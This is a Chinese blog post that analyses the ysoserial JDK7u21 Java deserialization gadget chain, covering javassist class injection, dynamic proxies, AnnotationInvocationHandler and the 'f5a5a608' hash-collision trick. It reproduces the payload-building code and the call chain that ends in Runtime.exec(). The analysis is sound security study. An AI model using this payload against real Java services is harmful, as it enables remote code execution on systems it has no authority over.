Ysoserial之JDK7u21分析

ysoserial是一个反序列化的payload生成工具,其集成了不同框架的payload,其中有个JDK7u21,利用条件不依赖于第三方库,只需要JRE版本满足条件。在分析Weblogic-CVE-2019-2725时也用到了这个payload,本着知其然更要知其所以然的想法,自己调试一遍记录下


JDK7u21 payload分析

总体思路:最外层使用LinkedHashSet,值分别为恶意类(templates)与代理类(proxy)。在反序列化时,调用proxy.equals(templates),会转发到AnnotationInvocationHandler的invoke(),invoke()方法中调用指定接口类中的全部方法(getOutputProperties/newTransformer),造成恶意代码执行

javassist

动态生成恶意代码。在payload中,作者通过javassist动态生成恶意类供后续使用。javassist在运行时操作字节码,可以在class文件中插入我们想执行的Java代码

看个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Persion.java			
public class Person {
}
public static void main() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(Person.class.getName());
String cmd = "System.out.println(\"evil\");";
// 创建静态代码块
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilPersion";
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}

EvilPersion.class:

2019-06-05.14.39.14-image.png

可看到静态代码块成功写入

动态代理

为接口指定InvocationHandler对象,那么在调用接口方法时,就会去调用指定handler的invoke()方法。

看个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ProxyDemo.java
//需要实现接口
interface Userdao{
public void say(String str);
}

//被代理对象
class UserdaoImpl implements Userdao{
public void say(String str) {
System.out.println("UserdaoImpl.say:"+str);
}
}
//handler对象
class Handler implements InvocationHandler{
private Object proxy;
public Handler(Object proxy) {
this.proxy = proxy;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("before");
method.invoke(this.proxy,args);
System.out.println("after");
return null;
}
}

public class ProxyDemo {
public static void main(String[] args){
UserdaoImpl user = new UserdaoImpl();
InvocationHandler temhandler = new Handler(user);
//创建代理
Userdao user1 = (Userdao) Proxy.newProxyInstance(Userdao.class.getClassLoader(),new Class<?>[]{Userdao.class},temhandler);
user1.say("hello");
}

output:
before
UserdaoImpl.say:hello
after

运行时,调用user1.say("hello");会去调用invoke()执行。在Spring中的AOP就是基于JDK动态代理实现的。

POC核心类

TemplatesImpl利用

关于利用的TemplatesImpl执行命令原理,我们在Fastjson反序列化之TemplatesImpl调用链已经分析过,只要最后调用newTransformer()getOutputProperties(),即可执行命令。不过还需要找一个能够在反序列化过程中调用该方法的类

AnnotationInvocationHandler

POC中利用了AnnotationInvocationHandler的equals()来触发getOutputProperties()或newTransformer()

其重要方法:

1
2
3
4
5
构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

实例化时传入typememberValues的值

1
2
3
4
5
6
invoke():
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);

当调用方法为equals时,会调用内部方法equalsImpl()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
equalsImpl():			
private Boolean equalsImpl(Object var1) {
...
//var1需要为type的实例
else if (!this.type.isInstance(var1)) {
return false;
} else {
//获取type class的所有方法
Method[] var2 = this.getMemberMethods();
...
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
//反射调用方法
var8 = var5.invoke(var1);

首先判断var1是否为type的实例,接着获取type class的所有方法,依次进行调用。所以在实例化AnnotationInvocationHandler时需要指定type,且equals()的参数为type的实现类

1
2
3
4
5
6
7
HashMap map = new HashMap();		
map.put("f5a5a608", "foo");
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);

//指定type为Templates接口 memberValues为特殊map
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

LinkedHashSet

POC中用到的LinkedHashSet是最外层的类,将恶意代码类与代理类添加到set当中。在反序列化过程中调用proxy.equals(EvilTemplate)执行命令

特点:
LinkedHashSet继承HashSet,基于LinkHashMap实现,添加到set中的元素可保持顺序。

内部实现:
HashsetreadObject()中,会调用每个对象的readObject(),且将元素作为key添加到HashMap中(value是固定的)

1
2
3
4
5
6
7
8
9
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

我们跟进put() 查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

代码调用新插入元素的key的equals()与k(原来存在元素的key)比较来判断是否相等。我们需要触发的是代理类的equals(),所以要按顺序添加恶意类与代理类。这就是使用LinkedHashSet的原因(保证顺序)。

漏洞分析

这个漏洞的主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object buildPayload(final String command) throws Exception {
//创建一个恶意类Templates
Object templates = Gadgets.createTemplatesImpl(command);

//特殊String, f5a5a608.hashcode() = 0
String zeroHashCodeStr = "f5a5a608";

//创建一个hash map, 将我们的恶意类放入
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); // Not necessary

// 创建代理使用的handler
// 当调用被代理对象的任何方法时,都会去调用AnnotationInvocationHandler.invoke()
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // 存储恶意字节码的templates类对象
set.add(proxy); // 代理对象

map.put(zeroHashCodeStr, templates);

//set中存储了恶意代码,只要反序列化这个set即可触发
return set;
}

我们跟一遍流程:
对得到的set进行反序列化操作时,会调用LinkedHashSetreadObject(),实质上是调用其父类HashSetreadObject()

2019-06-09.15.46.04-image.png

依次向map中添加templatesproxy对象,跟进put()

2019-06-09.15.49.00-image.png

这里首先计算新元素的hash,然后通过hash找见索引,之后遍历索引位置的元素,通过比较hash来判断元素是否存在,若存在,覆盖,若不存在,添加。

最关键的是376行 判断的地方,POC就是通过这里的key.equals(k)触发调用链导致命令执行。在添加proxy对象时,会调用proxy.equals(EvilTemplate),接着会转发到AnnotationInvocationHandler.invoke(),跟进

2019-06-09.20.10.12-image.png

跟进equalsImpl()

2019-06-09.20.13.55-image.png

这里首先会获取type中的全部方法,再依次执行。type的值是实例化时传入的:

2019-06-09.21.37.56-image.png

2019-06-09.20.15.42-image.png

通过反射执行getOutputProperties()时触发漏洞链,造成命令执行

作者给出的利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

可简化为:

1
2
3
4
5
6
7
8
9
LinkHashSet.readObject()	
HashSet.readObject()
HashMap.put()
TemplatesImpl.equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
TemplatesImpl.getOutputProperties()
...

hash绕过

java.util.HashMap.put()中有个重要判断:

1
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

根据Java短路求值,如果需要触发key.equals(k),就必须满足:

1
2
e.hash == hash       true
(k = e.key) == key false

当调用put(proxy)时,map中已经有Templates对象,所以这里的e.hash就为Templates.hash,则需要满足的条件变成了proxy.hash == Templates.hash

需要满足条件:

1
2
proxy.hashcode() == templates.hashcode()
proxy != templates

第二条很容易满足(一个为代理类,一个是Templates实例),我们分析第一条:
调用templates.hashcode()时,由于Templates没有重写hashcode(),所以照常返回hash值
而调用proxy.hashcode()时,会转发到AnnotationInvocationHandler.invoke(),且invoke()中对hashCode()进行了实现:

2019-06-09.16.57.22-image.png

跟进hashCodeImpl():

1
2
3
4
5
6
7
8
9
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}

跟进memberValueHashCode():

1
2
3
4
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) { //满足
return var0.hashCode();

当传入对象var0不为数组时,返回var0.hashCode()
所以当我们传入memberValues值为:

1
map.put("f5a5a608", templates);   //"f5a5a608".hashCode() = 0

2019-06-10.11.48.48-image.png

最后执行结果为:

1
2
3
4
5
var1 += 127 * "f5a5a608".hashCode() ^ templates.hashCode()
==
var1 += 0 ^ templates.hashCode()
==
var1 += templates.hashCode()

最后proxy.hashCode()返回结果为templates.hashcode()

2019-06-09.20.54.26-image.png

这两个条件都满足的话就会调用key.equals(k)

总结

JDK7u21这个payload主要用到TemplatesImplAnnocationInvocationHandler这两个类,此外还用到hash碰撞的小技巧。发现者真心牛逼,膜拜。后续修复分析与JDK8u20一并发出

参考链接

https://blog.csdn.net/u011721501/article/details/78607633

https://lightless.me/archives/java-unserialization-jdk7u21.html

https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/